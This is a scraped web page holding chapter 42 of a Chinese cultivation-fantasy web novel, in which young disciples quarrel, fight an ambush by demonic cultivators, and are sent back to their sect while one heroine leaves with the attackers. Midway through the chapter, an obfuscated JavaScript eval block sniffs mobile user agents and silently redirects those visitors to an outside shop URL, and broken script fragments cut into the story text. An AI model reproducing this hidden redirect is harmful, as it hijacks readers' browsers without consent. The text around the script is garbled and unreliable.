文趣网 > 都市小说 > 废材小师妹她一心飞升 > 42. 第 42 章
    沈见屿又往后蹦了两步,双手在身前胡乱比划:“治什么治!你那刀是治病的吗!砍人还差不多!”

    一旁的步凌玥看得乐不可支,抱着膝盖蹲在地上,笑得肩膀不停抖动。

    “哈哈哈哈沈见屿,你也有今天!这下翻车了吧!”

    沈见屿:“你还好意思笑?温棠,她也有份!前日还跟我瓜分大半灵石。”

    “他污蔑我!”步凌玥立刻收笑。“沈见屿,你就让她砍一刀呗。温棠的医术你还信不过?保管给你缝得漂漂亮亮的,连疤都不留。”

    “你怎么不让她砍?!”沈见屿瞪她。

    步凌玥理直气壮:“我又没得罪她。”

    几人吵吵闹闹,嬉闹声不绝于耳。

    云夙辞立在一旁,静静看着眼前鲜活热闹的几人,始终没有插话。唇角几不可察地微微上扬,掠过一抹极浅极淡的笑意,转瞬即逝。

    闹够了,笑够了,总算想起要回去参加比赛,准备返程。

    沈见屿一手捂着青紫的脸,一手攥着破烂的衣衫,疼得龇牙咧嘴:“疼死了……温棠你下手也太黑了。”

    萧离叙瞥了他一眼,抬腿就是一脚踹在他小腿上:“穿好衣服。”

    沈见屿被踹得一个趔趄,低头一看,衣领敞着大半,半边肩膀都露在外面。

    他赶紧拢了拢破布条似的衣襟,嘴里还在嘟囔:“你踹我干嘛?又不是我自愿的!”

    萧离叙面无表情:“辣眼睛。”

    他余光不着痕迹地往侧后方瞟了一眼,云夙辞轻轻伸手掩面,眼睛略弯。

    沈见屿气得想骂人,又瞥见温棠手里转着的那两把刀,硬生生把脏话咽了回去。

    “行,你厉害……你清高……”

    步凌玥蹲在地上,笑得直拍大腿:“哈哈哈哈……”

    沈见屿:“你还笑!那话本你也有份!”

    “我可没写。”步凌玥摊手,“我就是提供了几个素材。”

    不是错觉,风停了,枝叶不晃了,偶尔窜过的灵兽气息都消失得干干净净。

    萧离叙几乎是同一瞬间握上了剑柄,脊背绷紧如弓弦。

    步凌玥的笑声卡在喉咙里,她慢慢站起身,手已经摸上了腰间的唢呐。

    温棠指尖微动,双刀无声滑出袖口,刀锋在昏暗光线下泛着冷光。

    云夙辞不动无意地挡在身前,抬手悠悠欣赏指甲:“别装了,出来吧。”

    八道黑影悄无声息地落在四周,斗篷上的魔纹像活物一样蠕动。为首的两人气息深不可测,赫然是洞虚期的大能,剩下六人也是清一色的大乘境界。

    沈见屿咽了口唾沫,刚才那点嬉皮笑脸瞬间垮掉:“这阵仗,是打算直接给我们全家送终啊?”

    萧离叙没吭声,长剑已然出鞘,声音绷得很紧:“别废话,能打几个是几个。”

    步凌玥手里的唢呐瞬间抵在唇边,腮帮子已经鼓了起来:“我先说好,一会儿不管吹出个啥,你们千万别晕,给我丢人。”

    温棠的双刀交叉在身前,刀锋映出她冷清的侧脸:“尽力而为,保命为主。”

    云夙辞站在最后头,甚至还慢悠悠地打了个哈欠,伸手掏了掏耳朵。她这副漫不经心的样子,落在那群魔修眼里,简直就是赤裸裸的蔑视。

    那名洞虚期魔修首领喉咙里发出一声像是金属摩擦的冷笑,五指猛地一握。

    刹那间,漫天黑雾如巨蟒般绞杀而下,所过之处,灵气瞬间被吞噬得一干二净,这片空间仿佛变成了真空的死域。

    萧离叙剑势暴涨,硬生生在黑雾中撕开一道口子。沈见屿紧随其后,灵力灌注剑身,金光炸裂,勉强挡住了侧面袭来的一道魔气。

    “砰!”

    两股力量相撞,沈见屿连退七八步,虎口崩裂,鲜血直流。

    沈见屿骂骂咧咧,感觉内脏都在移位:“萧离叙你行不行啊?”

    萧离叙没空回嘴,那名洞虚期魔修已经欺身而至,袖中飞出数道黑链,每一节锁链上都倒钩着锋利的刀片,专往人要害招呼。

    萧离叙剑法凌厉,却也只能在这狂风暴雨般的攻势下苦苦支撑,衣衫被划破了好几道口子。

    火光冲天,烟雾弥漫。

    温棠眉头紧锁,这群人里,能打且修为最高修为也就是萧离叙的元婴大圆满,跟大乘期差了一个境界,更别提还有两个洞虚期坐镇。

    一名大乘期魔修绕过萧离叙的防线,身形如鬼魅般飘忽,瞬间出现在步凌玥身侧,干枯的手爪直取她天灵盖。

    “小心!”温棠双刀回防,试图拦截。

    但魔修的速度太快了,温棠的刀锋只划破了他的残影。

    眼看步凌玥就要被开瓢,一道身影猛地撞在她身上,将她硬生生撞飞出去。

    是沈见屿。

    沈见屿硬生生用后背扛了这一击。

    “噗——”他喷出一口鲜血,整个人像断线的风筝一样飞出去,重重砸在一棵树上,树干咔嚓一声断裂。

    “沈见屿!”步凌玥喊。

    沈见屿瘫在地上,脸色惨白,却还强撑着扯出一个比哭还难看的笑:“没事……命硬……死不了……”

    萧离叙压力倍增,剑招越发急促,却因为分心几人,左臂被黑链划出一道深可见骨的伤口,鲜血染红了衣袖。

    云夙辞脚尖碾过脚边一截枯碎枝桠,清脆的木裂声响在厮杀乱象里格外突兀,以她为中心,灵力波动扩散,懒懒散散扬声开口:“他们想要我们跟他们走。”

    黑袍首领的锁链在空中凝滞一瞬。八道斗篷下的视线如毒针刺来,却在触及她漫不经心的神色时,齐齐顿住。

    灵光掠过四人腰间,快得像错觉,萧离叙只觉后颈一烫,还没反应过来,脚下地面骤然塌陷,空间像被无形大手撕开一道口子。

    失重感猛地攫住五脏六腑。

    “阿辞——!”萧离叙伸手想抓她,指尖只擦过一缕消散的衣角。

    云夙辞没空再陪他们闹,偏头看了他一眼,那一眼很轻,轻得像羽毛落在水面上:“回去好好提高修为,别有点什么就逞能。”

    云夙辞回过头,目光轻飘飘地掠过那八道黑影。

    方才面对萧离叙几人时的那点冷淡消散了,她眉眼弯起,唇角勾着一抹极浅的弧度,像春日里被风吹皱的一池春水,温软得毫无攻击性。

    “要走吗?”她问,语调轻快。

    为首两名洞虚期魔修对视一眼,斗篷下的视线死死钉在她身上。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634546|201930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    难不成她就是……

    云夙辞像是猜到了他未出口的疑虑,笑意加深了些:“不走的话,我可要反悔了哦。”

    反悔?

    反悔什么?

    另一名洞虚魔修指节攥得发白,黑袍下隆起的肌肉线条紧绷如铁,却终究没敢妄动。

    云夙辞也不催促,就那么懒懒散散站着。

    良久,为首那名魔修从牙缝里挤出两个字:“……跟上。”

    *

    传送阵的光芒散去,四人脚下一空,同时砸在一处硬邦邦的地面上。

    “咚!”

    四人抬头就撞进一双清润眼底,祁宥端坐桌旁,指尖正轻叩着一卷赛事名录。

    祁宥也被吓了一跳,还好这里没人,他本以为还要再耗上许久。

    祁宥指尖那卷赛事名录“啪”地合拢:“还好你们回来。你们四人的比赛,我暂且改到了午后,算算时辰,现在动身刚好能赶上。”

    步凌玥从地上爬起来,左右张望一圈:“这是哪儿?”

    “执事堂偏殿。”祁宥把名录塞进袖中,“没人会来这儿。你们消失这几个时辰,外头没人发现。”

    萧离叙膝盖一落地就弹了起来,径直朝着偏殿出口冲去。

    祁宥原本半倚着石桌,见来人动向不对,当即直起身形,身形横移半步,稳稳拦在殿门正中央。

    “让开。”萧离叙吐字像冰碴子。

    祁宥双脚稳稳扎在原地,身躯未晃分毫,只是抬眼望向身前焦躁不已的少年,周身没有释放半分灵力威压,单凭姿态便阻住去路。

    后方刚站稳的步凌玥见状,脚下快步挪动,几步追上萧离叙,飞快抓住对方的手臂。

    “你疯啦?现在往外闯打算去哪儿?”步凌玥手上力道不轻,生怕这人一股脑冲出去做出莽撞举动。

    萧离叙被拽住的脚步不得不停在原地,胸腔剧烈起伏。

    “魔界。”两个字从齿缝间挤出来,每一个字都带着压抑到极致的焦灼,“她孤身一人被魔修带走,我怎能安坐在此等候赛事比试?”

    沈见屿捂着后腰的伤口,一步一挪地从地面挪过来,后背的伤势每动一下都传来钻心的钝痛。

    “萧离叙你脑子糊涂了?”沈见屿喘息两声,调整着紊乱的内息,“咱们几人方才和大乘、洞虚境界的魔修交手,个个带伤,修为损耗大半。就这样贸然踏入魔渊地界,不是主动送上门任人宰割吗?”

    “就算是送命,也好过困在此地束手旁观。”萧离叙猛地甩开步凌玥的手。

    “你吵死了。”温棠已站直身子,双刀不知收去了何处,嘴角还沾着点未干的血迹。她语气平淡,却莫名有种压场的力量,“你去了,只会给她添乱。”

    萧离叙拳头攥得咯咯响,步凌玥趁热打铁:““温棠说得对。阿辞之前就说过交给她,现在时间不够,你跟过去也是添乱。”

    祁宥一直沉默听着,此时忽然开口:“你们说的阿辞……是那位云竹道友?她原本的名讳,是云夙辞?”

    步凌玥和温棠同时转头,两道视线齐刷刷落在祁宥身上,默契十足地开口:“你闭嘴。”

    祁宥见状,立刻抬起右手比出噤声的手势,往后退了两步,识趣地选择缄默。